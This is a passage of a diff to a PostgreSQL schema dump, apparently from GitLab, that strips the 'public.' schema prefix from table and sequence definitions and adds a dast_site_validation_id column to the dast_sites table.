+ CONSTRAINT check_13b34efe4b CHECK ((char_length(url_path) <= 255)),
+ CONSTRAINT check_cd3b538210 CHECK ((char_length(url_base) <= 255))
+);
+
+CREATE SEQUENCE dast_site_validations_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.dast_site_profiles_id_seq OWNED BY public.dast_site_profiles.id;
+ALTER SEQUENCE dast_site_validations_id_seq OWNED BY dast_site_validations.id;
-CREATE TABLE public.dast_sites (
+CREATE TABLE dast_sites (
id bigint NOT NULL,
project_id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
updated_at timestamp with time zone NOT NULL,
url text NOT NULL,
+ dast_site_validation_id bigint,
CONSTRAINT check_46df8b449c CHECK ((char_length(url) <= 255))
);
-CREATE SEQUENCE public.dast_sites_id_seq
+CREATE SEQUENCE dast_sites_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.dast_sites_id_seq OWNED BY public.dast_sites.id;
+ALTER SEQUENCE dast_sites_id_seq OWNED BY dast_sites.id;
-CREATE TABLE public.dependency_proxy_blobs (
+CREATE TABLE dependency_proxy_blobs (
id integer NOT NULL,
group_id integer NOT NULL,
created_at timestamp with time zone NOT NULL,
@@ -11103,16 +11276,16 @@ CREATE TABLE public.dependency_proxy_blobs (
file text NOT NULL
);
-CREATE SEQUENCE public.dependency_proxy_blobs_id_seq
+CREATE SEQUENCE dependency_proxy_blobs_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.dependency_proxy_blobs_id_seq OWNED BY public.dependency_proxy_blobs.id;
+ALTER SEQUENCE dependency_proxy_blobs_id_seq OWNED BY dependency_proxy_blobs.id;
-CREATE TABLE public.dependency_proxy_group_settings (
+CREATE TABLE dependency_proxy_group_settings (
id integer NOT NULL,
group_id integer NOT NULL,
created_at timestamp with time zone NOT NULL,
@@ -11120,16 +11293,16 @@ CREATE TABLE public.dependency_proxy_group_settings (
enabled boolean DEFAULT false NOT NULL
);
-CREATE SEQUENCE public.dependency_proxy_group_settings_id_seq
+CREATE SEQUENCE dependency_proxy_group_settings_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.dependency_proxy_group_settings_id_seq OWNED BY public.dependency_proxy_group_settings.id;
+ALTER SEQUENCE dependency_proxy_group_settings_id_seq OWNED BY dependency_proxy_group_settings.id;
-CREATE TABLE public.deploy_keys_projects (
+CREATE TABLE deploy_keys_projects (
id integer NOT NULL,
deploy_key_id integer NOT NULL,
project_id integer NOT NULL,
@@ -11138,16 +11311,16 @@ CREATE TABLE public.deploy_keys_projects (
can_push boolean DEFAULT false NOT NULL
);
-CREATE SEQUENCE public.deploy_keys_projects_id_seq
+CREATE SEQUENCE deploy_keys_projects_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.deploy_keys_projects_id_seq OWNED BY public.deploy_keys_projects.id;
+ALTER SEQUENCE deploy_keys_projects_id_seq OWNED BY deploy_keys_projects.id;
-CREATE TABLE public.deploy_tokens (
+CREATE TABLE deploy_tokens (
id integer NOT NULL,
revoked boolean DEFAULT false,
read_repository boolean DEFAULT false NOT NULL,
@@ -11164,28 +11337,28 @@ CREATE TABLE public.deploy_tokens (
write_package_registry boolean DEFAULT false NOT NULL
);
-CREATE SEQUENCE public.deploy_tokens_id_seq
+CREATE SEQUENCE deploy_tokens_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.deploy_tokens_id_seq OWNED BY public.deploy_tokens.id;
+ALTER SEQUENCE deploy_tokens_id_seq OWNED BY deploy_tokens.id;
-CREATE TABLE public.deployment_clusters (
+CREATE TABLE deployment_clusters (
deployment_id integer NOT NULL,
cluster_id integer NOT NULL,
kubernetes_namespace character varying(255)
);
-CREATE TABLE public.deployment_merge_requests (
+CREATE TABLE deployment_merge_requests (
deployment_id integer NOT NULL,
merge_request_id integer NOT NULL,
environment_id integer
);
-CREATE TABLE public.deployments (
+CREATE TABLE deployments (
id integer NOT NULL,
iid integer NOT NULL,
project_id integer NOT NULL,
@@ -11204,16 +11377,16 @@ CREATE TABLE public.deployments (
cluster_id integer
);
-CREATE SEQUENCE public.deployments_id_seq
+CREATE SEQUENCE deployments_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.deployments_id_seq OWNED BY public.deployments.id;
+ALTER SEQUENCE deployments_id_seq OWNED BY deployments.id;
-CREATE TABLE public.description_versions (
+CREATE TABLE description_versions (
id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
updated_at timestamp with time zone NOT NULL,
@@ -11224,16 +11397,16 @@ CREATE TABLE public.description_versions (
deleted_at timestamp with time zone
);
-CREATE SEQUENCE public.description_versions_id_seq
+CREATE SEQUENCE description_versions_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.description_versions_id_seq OWNED BY public.description_versions.id;
+ALTER SEQUENCE description_versions_id_seq OWNED BY description_versions.id;
-CREATE TABLE public.design_management_designs (
+CREATE TABLE design_management_designs (
id bigint NOT NULL,
project_id integer NOT NULL,
issue_id integer,
@@ -11241,16 +11414,16 @@ CREATE TABLE public.design_management_designs (
relative_position integer
);
-CREATE SEQUENCE public.design_management_designs_id_seq
+CREATE SEQUENCE design_management_designs_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.design_management_designs_id_seq OWNED BY public.design_management_designs.id;
+ALTER SEQUENCE design_management_designs_id_seq OWNED BY design_management_designs.id;
-CREATE TABLE public.design_management_designs_versions (
+CREATE TABLE design_management_designs_versions (
id bigint NOT NULL,
design_id bigint NOT NULL,
version_id bigint NOT NULL,
@@ -11258,16 +11431,16 @@ CREATE TABLE public.design_management_designs_versions (
image_v432x230 character varying(255)
);
-CREATE SEQUENCE public.design_management_designs_versions_id_seq
+CREATE SEQUENCE design_management_designs_versions_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.design_management_designs_versions_id_seq OWNED BY public.design_management_designs_versions.id;
+ALTER SEQUENCE design_management_designs_versions_id_seq OWNED BY design_management_designs_versions.id;
-CREATE TABLE public.design_management_versions (
+CREATE TABLE design_management_versions (
id bigint NOT NULL,
sha bytea NOT NULL,
issue_id bigint,
@@ -11275,16 +11448,16 @@ CREATE TABLE public.design_management_versions (
author_id integer
);
-CREATE SEQUENCE public.design_management_versions_id_seq
+CREATE SEQUENCE design_management_versions_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.design_management_versions_id_seq OWNED BY public.design_management_versions.id;
+ALTER SEQUENCE design_management_versions_id_seq OWNED BY design_management_versions.id;
-CREATE TABLE public.design_user_mentions (
+CREATE TABLE design_user_mentions (
id bigint NOT NULL,
design_id integer NOT NULL,
note_id integer NOT NULL,
@@ -11293,16 +11466,16 @@ CREATE TABLE public.design_user_mentions (
mentioned_groups_ids integer[]
);
-CREATE SEQUENCE public.design_user_mentions_id_seq
+CREATE SEQUENCE design_user_mentions_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.design_user_mentions_id_seq OWNED BY public.design_user_mentions.id;
+ALTER SEQUENCE design_user_mentions_id_seq OWNED BY design_user_mentions.id;
-CREATE TABLE public.diff_note_positions (
+CREATE TABLE diff_note_positions (
id bigint NOT NULL,
note_id bigint NOT NULL,
old_line integer,
@@ -11317,16 +11490,16 @@ CREATE TABLE public.diff_note_positions (
new_path text NOT NULL
);
-CREATE SEQUENCE public.diff_note_positions_id_seq
+CREATE SEQUENCE diff_note_positions_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.diff_note_positions_id_seq OWNED BY public.diff_note_positions.id;
+ALTER SEQUENCE diff_note_positions_id_seq OWNED BY diff_note_positions.id;
-CREATE TABLE public.draft_notes (
+CREATE TABLE draft_notes (
id bigint NOT NULL,
merge_request_id integer NOT NULL,
author_id integer NOT NULL,
@@ -11339,16 +11512,16 @@ CREATE TABLE public.draft_notes (
commit_id bytea
);
-CREATE SEQUENCE public.draft_notes_id_seq
+CREATE SEQUENCE draft_notes_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.draft_notes_id_seq OWNED BY public.draft_notes.id;
+ALTER SEQUENCE draft_notes_id_seq OWNED BY draft_notes.id;
-CREATE TABLE public.elastic_reindexing_tasks (
+CREATE TABLE elastic_reindexing_tasks (
id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
updated_at timestamp with time zone NOT NULL,
@@ -11367,28 +11540,28 @@ CREATE TABLE public.elastic_reindexing_tasks (
CONSTRAINT check_942e5aae53 CHECK ((char_length(elastic_task) <= 255))
);
-CREATE SEQUENCE public.elastic_reindexing_tasks_id_seq
+CREATE SEQUENCE elastic_reindexing_tasks_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.elastic_reindexing_tasks_id_seq OWNED BY public.elastic_reindexing_tasks.id;
+ALTER SEQUENCE elastic_reindexing_tasks_id_seq OWNED BY elastic_reindexing_tasks.id;
-CREATE TABLE public.elasticsearch_indexed_namespaces (
+CREATE TABLE elasticsearch_indexed_namespaces (
created_at timestamp with time zone NOT NULL,
updated_at timestamp with time zone NOT NULL,
namespace_id integer
);
-CREATE TABLE public.elasticsearch_indexed_projects (
+CREATE TABLE elasticsearch_indexed_projects (
created_at timestamp with time zone NOT NULL,
updated_at timestamp with time zone NOT NULL,
project_id integer
);
-CREATE TABLE public.emails (
+CREATE TABLE emails (
id integer NOT NULL,
user_id integer NOT NULL,
email character varying NOT NULL,
@@ -11399,16 +11572,16 @@ CREATE TABLE public.emails (
confirmation_sent_at timestamp without time zone
);
-CREATE SEQUENCE public.emails_id_seq
+CREATE SEQUENCE emails_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.emails_id_seq OWNED BY public.emails.id;
+ALTER SEQUENCE emails_id_seq OWNED BY emails.id;
-CREATE TABLE public.environments (
+CREATE TABLE environments (
id integer NOT NULL,
project_id integer NOT NULL,
name character varying NOT NULL,
@@ -11421,48 +11594,48 @@ CREATE TABLE public.environments (
auto_stop_at timestamp with time zone
);
-CREATE SEQUENCE public.environments_id_seq
+CREATE SEQUENCE environments_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.environments_id_seq OWNED BY public.environments.id;
+ALTER SEQUENCE environments_id_seq OWNED BY environments.id;
-CREATE TABLE public.epic_issues (
+CREATE TABLE epic_issues (
id integer NOT NULL,
epic_id integer NOT NULL,
issue_id integer NOT NULL,
relative_position integer
);
-CREATE SEQUENCE public.epic_issues_id_seq
+CREATE SEQUENCE epic_issues_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.epic_issues_id_seq OWNED BY public.epic_issues.id;
+ALTER SEQUENCE epic_issues_id_seq OWNED BY epic_issues.id;
-CREATE TABLE public.epic_metrics (
+CREATE TABLE epic_metrics (
id integer NOT NULL,
epic_id integer NOT NULL,
created_at timestamp without time zone NOT NULL,
updated_at timestamp without time zone NOT NULL
);
-CREATE SEQUENCE public.epic_metrics_id_seq
+CREATE SEQUENCE epic_metrics_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.epic_metrics_id_seq OWNED BY public.epic_metrics.id;
+ALTER SEQUENCE epic_metrics_id_seq OWNED BY epic_metrics.id;
-CREATE TABLE public.epic_user_mentions (
+CREATE TABLE epic_user_mentions (
id bigint NOT NULL,
epic_id integer NOT NULL,
note_id integer,
@@ -11471,16 +11644,16 @@ CREATE TABLE public.epic_user_mentions (
mentioned_groups_ids integer[]
);
-CREATE SEQUENCE public.epic_user_mentions_id_seq
+CREATE SEQUENCE epic_user_mentions_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.epic_user_mentions_id_seq OWNED BY public.epic_user_mentions.id;
+ALTER SEQUENCE epic_user_mentions_id_seq OWNED BY epic_user_mentions.id;
-CREATE TABLE public.epics (
+CREATE TABLE epics (
id integer NOT NULL,
group_id integer NOT NULL,
author_id integer NOT NULL,
@@ -11517,16 +11690,16 @@ CREATE TABLE public.epics (
CONSTRAINT check_fcfb4a93ff CHECK ((lock_version IS NOT NULL))
);
-CREATE SEQUENCE public.epics_id_seq
+CREATE SEQUENCE epics_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.epics_id_seq OWNED BY public.epics.id;
+ALTER SEQUENCE epics_id_seq OWNED BY epics.id;
-CREATE TABLE public.events (
+CREATE TABLE events (
id integer NOT NULL,
project_id integer,
author_id integer NOT NULL,
@@ -11540,16 +11713,16 @@ CREATE TABLE public.events (
CONSTRAINT check_97e06e05ad CHECK ((octet_length(fingerprint) <= 128))
);
-CREATE SEQUENCE public.events_id_seq
+CREATE SEQUENCE events_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.events_id_seq OWNED BY public.events.id;
+ALTER SEQUENCE events_id_seq OWNED BY events.id;
-CREATE TABLE public.evidences (
+CREATE TABLE evidences (
id bigint NOT NULL,
release_id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
@@ -11558,16 +11731,16 @@ CREATE TABLE public.evidences (
summary jsonb DEFAULT '{}'::jsonb NOT NULL
);
-CREATE SEQUENCE public.evidences_id_seq
+CREATE SEQUENCE evidences_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.evidences_id_seq OWNED BY public.evidences.id;
+ALTER SEQUENCE evidences_id_seq OWNED BY evidences.id;
-CREATE TABLE public.experiment_users (
+CREATE TABLE experiment_users (
id bigint NOT NULL,
experiment_id bigint NOT NULL,
user_id bigint NOT NULL,
@@ -11576,31 +11749,31 @@ CREATE TABLE public.experiment_users (
updated_at timestamp with time zone NOT NULL
);
-CREATE SEQUENCE public.experiment_users_id_seq
+CREATE SEQUENCE experiment_users_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.experiment_users_id_seq OWNED BY public.experiment_users.id;
+ALTER SEQUENCE experiment_users_id_seq OWNED BY experiment_users.id;
-CREATE TABLE public.experiments (
+CREATE TABLE experiments (
id bigint NOT NULL,
name text NOT NULL,
CONSTRAINT check_e2dda25ed0 CHECK ((char_length(name) <= 255))
);
-CREATE SEQUENCE public.experiments_id_seq
+CREATE SEQUENCE experiments_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.experiments_id_seq OWNED BY public.experiments.id;
+ALTER SEQUENCE experiments_id_seq OWNED BY experiments.id;
-CREATE TABLE public.external_pull_requests (
+CREATE TABLE external_pull_requests (
id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
updated_at timestamp with time zone NOT NULL,
@@ -11615,16 +11788,16 @@ CREATE TABLE public.external_pull_requests (
target_sha bytea NOT NULL
);
-CREATE SEQUENCE public.external_pull_requests_id_seq
+CREATE SEQUENCE external_pull_requests_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.external_pull_requests_id_seq OWNED BY public.external_pull_requests.id;
+ALTER SEQUENCE external_pull_requests_id_seq OWNED BY external_pull_requests.id;
-CREATE TABLE public.feature_gates (
+CREATE TABLE feature_gates (
id integer NOT NULL,
feature_key character varying NOT NULL,
key character varying NOT NULL,
@@ -11633,91 +11806,91 @@ CREATE TABLE public.feature_gates (
updated_at timestamp without time zone NOT NULL
);
-CREATE SEQUENCE public.feature_gates_id_seq
+CREATE SEQUENCE feature_gates_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.feature_gates_id_seq OWNED BY public.feature_gates.id;
+ALTER SEQUENCE feature_gates_id_seq OWNED BY feature_gates.id;
-CREATE TABLE public.features (
+CREATE TABLE features (
id integer NOT NULL,
key character varying NOT NULL,
created_at timestamp without time zone NOT NULL,
updated_at timestamp without time zone NOT NULL
);
-CREATE SEQUENCE public.features_id_seq
+CREATE SEQUENCE features_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.features_id_seq OWNED BY public.features.id;
+ALTER SEQUENCE features_id_seq OWNED BY features.id;
-CREATE TABLE public.fork_network_members (
+CREATE TABLE fork_network_members (
id integer NOT NULL,
fork_network_id integer NOT NULL,
project_id integer NOT NULL,
forked_from_project_id integer
);
-CREATE SEQUENCE public.fork_network_members_id_seq
+CREATE SEQUENCE fork_network_members_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.fork_network_members_id_seq OWNED BY public.fork_network_members.id;
+ALTER SEQUENCE fork_network_members_id_seq OWNED BY fork_network_members.id;
-CREATE TABLE public.fork_networks (
+CREATE TABLE fork_networks (
id integer NOT NULL,
root_project_id integer,
deleted_root_project_name character varying
);
-CREATE SEQUENCE public.fork_networks_id_seq
+CREATE SEQUENCE fork_networks_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.fork_networks_id_seq OWNED BY public.fork_networks.id;
+ALTER SEQUENCE fork_networks_id_seq OWNED BY fork_networks.id;
-CREATE TABLE public.geo_cache_invalidation_events (
+CREATE TABLE geo_cache_invalidation_events (
id bigint NOT NULL,
key character varying NOT NULL
);
-CREATE SEQUENCE public.geo_cache_invalidation_events_id_seq
+CREATE SEQUENCE geo_cache_invalidation_events_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.geo_cache_invalidation_events_id_seq OWNED BY public.geo_cache_invalidation_events.id;
+ALTER SEQUENCE geo_cache_invalidation_events_id_seq OWNED BY geo_cache_invalidation_events.id;
-CREATE TABLE public.geo_container_repository_updated_events (
+CREATE TABLE geo_container_repository_updated_events (
id bigint NOT NULL,
container_repository_id integer NOT NULL
);
-CREATE SEQUENCE public.geo_container_repository_updated_events_id_seq
+CREATE SEQUENCE geo_container_repository_updated_events_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.geo_container_repository_updated_events_id_seq OWNED BY public.geo_container_repository_updated_events.id;
+ALTER SEQUENCE geo_container_repository_updated_events_id_seq OWNED BY geo_container_repository_updated_events.id;
-CREATE TABLE public.geo_event_log (
+CREATE TABLE geo_event_log (
id bigint NOT NULL,
created_at timestamp without time zone NOT NULL,
repository_updated_event_id bigint,
@@ -11736,16 +11909,16 @@ CREATE TABLE public.geo_event_log (
geo_event_id integer
);
-CREATE SEQUENCE public.geo_event_log_id_seq
+CREATE SEQUENCE geo_event_log_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.geo_event_log_id_seq OWNED BY public.geo_event_log.id;
+ALTER SEQUENCE geo_event_log_id_seq OWNED BY geo_event_log.id;
-CREATE TABLE public.geo_events (
+CREATE TABLE geo_events (
id bigint NOT NULL,
replicable_name character varying(255) NOT NULL,
event_name character varying(255) NOT NULL,
@@ -11753,32 +11926,32 @@ CREATE TABLE public.geo_events (
created_at timestamp with time zone NOT NULL
);
-CREATE SEQUENCE public.geo_events_id_seq
+CREATE SEQUENCE geo_events_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.geo_events_id_seq OWNED BY public.geo_events.id;
+ALTER SEQUENCE geo_events_id_seq OWNED BY geo_events.id;
-CREATE TABLE public.geo_hashed_storage_attachments_events (
+CREATE TABLE geo_hashed_storage_attachments_events (
id bigint NOT NULL,
project_id integer NOT NULL,
old_attachments_path text NOT NULL,
new_attachments_path text NOT NULL
);
-CREATE SEQUENCE public.geo_hashed_storage_attachments_events_id_seq
+CREATE SEQUENCE geo_hashed_storage_attachments_events_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.geo_hashed_storage_attachments_events_id_seq OWNED BY public.geo_hashed_storage_attachments_events.id;
+ALTER SEQUENCE geo_hashed_storage_attachments_events_id_seq OWNED BY geo_hashed_storage_attachments_events.id;
-CREATE TABLE public.geo_hashed_storage_migrated_events (
+CREATE TABLE geo_hashed_storage_migrated_events (
id bigint NOT NULL,
project_id integer NOT NULL,
repository_storage_name text NOT NULL,
@@ -11792,47 +11965,47 @@ CREATE TABLE public.geo_hashed_storage_migrated_events (
new_design_disk_path text
);
-CREATE SEQUENCE public.geo_hashed_storage_migrated_events_id_seq
+CREATE SEQUENCE geo_hashed_storage_migrated_events_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.geo_hashed_storage_migrated_events_id_seq OWNED BY public.geo_hashed_storage_migrated_events.id;
+ALTER SEQUENCE geo_hashed_storage_migrated_events_id_seq OWNED BY geo_hashed_storage_migrated_events.id;
-CREATE TABLE public.geo_job_artifact_deleted_events (
+CREATE TABLE geo_job_artifact_deleted_events (
id bigint NOT NULL,
job_artifact_id integer NOT NULL,
file_path character varying NOT NULL
);
-CREATE SEQUENCE public.geo_job_artifact_deleted_events_id_seq
+CREATE SEQUENCE geo_job_artifact_deleted_events_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.geo_job_artifact_deleted_events_id_seq OWNED BY public.geo_job_artifact_deleted_events.id;
+ALTER SEQUENCE geo_job_artifact_deleted_events_id_seq OWNED BY geo_job_artifact_deleted_events.id;
-CREATE TABLE public.geo_lfs_object_deleted_events (
+CREATE TABLE geo_lfs_object_deleted_events (
id bigint NOT NULL,
lfs_object_id integer NOT NULL,
oid character varying NOT NULL,
file_path character varying NOT NULL
);
-CREATE SEQUENCE public.geo_lfs_object_deleted_events_id_seq
+CREATE SEQUENCE geo_lfs_object_deleted_events_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.geo_lfs_object_deleted_events_id_seq OWNED BY public.geo_lfs_object_deleted_events.id;
+ALTER SEQUENCE geo_lfs_object_deleted_events_id_seq OWNED BY geo_lfs_object_deleted_events.id;
-CREATE TABLE public.geo_node_namespace_links (
+CREATE TABLE geo_node_namespace_links (
id integer NOT NULL,
geo_node_id integer NOT NULL,
namespace_id integer NOT NULL,
@@ -11840,16 +12013,16 @@ CREATE TABLE public.geo_node_namespace_links (
updated_at timestamp without time zone NOT NULL
);
-CREATE SEQUENCE public.geo_node_namespace_links_id_seq
+CREATE SEQUENCE geo_node_namespace_links_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.geo_node_namespace_links_id_seq OWNED BY public.geo_node_namespace_links.id;
+ALTER SEQUENCE geo_node_namespace_links_id_seq OWNED BY geo_node_namespace_links.id;
-CREATE TABLE public.geo_node_statuses (
+CREATE TABLE geo_node_statuses (
id integer NOT NULL,
geo_node_id integer NOT NULL,
db_replication_lag_seconds integer,
@@ -11907,16 +12080,16 @@ CREATE TABLE public.geo_node_statuses (
status jsonb DEFAULT '{}'::jsonb NOT NULL
);
-CREATE SEQUENCE public.geo_node_statuses_id_seq
+CREATE SEQUENCE geo_node_statuses_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.geo_node_statuses_id_seq OWNED BY public.geo_node_statuses.id;
+ALTER SEQUENCE geo_node_statuses_id_seq OWNED BY geo_node_statuses.id;
-CREATE TABLE public.geo_nodes (
+CREATE TABLE geo_nodes (
id integer NOT NULL,
"primary" boolean DEFAULT false NOT NULL,
oauth_application_id integer,
@@ -11940,30 +12113,30 @@ CREATE TABLE public.geo_nodes (
sync_object_storage boolean DEFAULT false NOT NULL
);
-CREATE SEQUENCE public.geo_nodes_id_seq
+CREATE SEQUENCE geo_nodes_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.geo_nodes_id_seq OWNED BY public.geo_nodes.id;
+ALTER SEQUENCE geo_nodes_id_seq OWNED BY geo_nodes.id;
-CREATE TABLE public.geo_repositories_changed_events (
+CREATE TABLE geo_repositories_changed_events (
id bigint NOT NULL,
geo_node_id integer NOT NULL
);
-CREATE SEQUENCE public.geo_repositories_changed_events_id_seq
+CREATE SEQUENCE geo_repositories_changed_events_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.geo_repositories_changed_events_id_seq OWNED BY public.geo_repositories_changed_events.id;
+ALTER SEQUENCE geo_repositories_changed_events_id_seq OWNED BY geo_repositories_changed_events.id;
-CREATE TABLE public.geo_repository_created_events (
+CREATE TABLE geo_repository_created_events (
id bigint NOT NULL,
project_id integer NOT NULL,
repository_storage_name text NOT NULL,
@@ -11972,16 +12145,16 @@ CREATE TABLE public.geo_repository_created_events (
project_name text NOT NULL
);
-CREATE SEQUENCE public.geo_repository_created_events_id_seq
+CREATE SEQUENCE geo_repository_created_events_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.geo_repository_created_events_id_seq OWNED BY public.geo_repository_created_events.id;
+ALTER SEQUENCE geo_repository_created_events_id_seq OWNED BY geo_repository_created_events.id;
-CREATE TABLE public.geo_repository_deleted_events (
+CREATE TABLE geo_repository_deleted_events (
id bigint NOT NULL,
project_id integer NOT NULL,
repository_storage_name text NOT NULL,
@@ -11990,16 +12163,16 @@ CREATE TABLE public.geo_repository_deleted_events (
deleted_project_name text NOT NULL
);
-CREATE SEQUENCE public.geo_repository_deleted_events_id_seq
+CREATE SEQUENCE geo_repository_deleted_events_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.geo_repository_deleted_events_id_seq OWNED BY public.geo_repository_deleted_events.id;
+ALTER SEQUENCE geo_repository_deleted_events_id_seq OWNED BY geo_repository_deleted_events.id;
-CREATE TABLE public.geo_repository_renamed_events (
+CREATE TABLE geo_repository_renamed_events (
id bigint NOT NULL,
project_id integer NOT NULL,
repository_storage_name text NOT NULL,
@@ -12011,16 +12184,16 @@ CREATE TABLE public.geo_repository_renamed_events (
new_path text NOT NULL
);
-CREATE SEQUENCE public.geo_repository_renamed_events_id_seq
+CREATE SEQUENCE geo_repository_renamed_events_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.geo_repository_renamed_events_id_seq OWNED BY public.geo_repository_renamed_events.id;
+ALTER SEQUENCE geo_repository_renamed_events_id_seq OWNED BY geo_repository_renamed_events.id;
-CREATE TABLE public.geo_repository_updated_events (
+CREATE TABLE geo_repository_updated_events (
id bigint NOT NULL,
branches_affected integer NOT NULL,
tags_affected integer NOT NULL,
@@ -12031,30 +12204,30 @@ CREATE TABLE public.geo_repository_updated_events (
ref text
);
-CREATE SEQUENCE public.geo_repository_updated_events_id_seq
+CREATE SEQUENCE geo_repository_updated_events_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.geo_repository_updated_events_id_seq OWNED BY public.geo_repository_updated_events.id;
+ALTER SEQUENCE geo_repository_updated_events_id_seq OWNED BY geo_repository_updated_events.id;
-CREATE TABLE public.geo_reset_checksum_events (
+CREATE TABLE geo_reset_checksum_events (
id bigint NOT NULL,
project_id integer NOT NULL
);
-CREATE SEQUENCE public.geo_reset_checksum_events_id_seq
+CREATE SEQUENCE geo_reset_checksum_events_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.geo_reset_checksum_events_id_seq OWNED BY public.geo_reset_checksum_events.id;
+ALTER SEQUENCE geo_reset_checksum_events_id_seq OWNED BY geo_reset_checksum_events.id;
-CREATE TABLE public.geo_upload_deleted_events (
+CREATE TABLE geo_upload_deleted_events (
id bigint NOT NULL,
upload_id integer NOT NULL,
file_path character varying NOT NULL,
@@ -12063,16 +12236,16 @@ CREATE TABLE public.geo_upload_deleted_events (
uploader character varying NOT NULL
);
-CREATE SEQUENCE public.geo_upload_deleted_events_id_seq
+CREATE SEQUENCE geo_upload_deleted_events_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
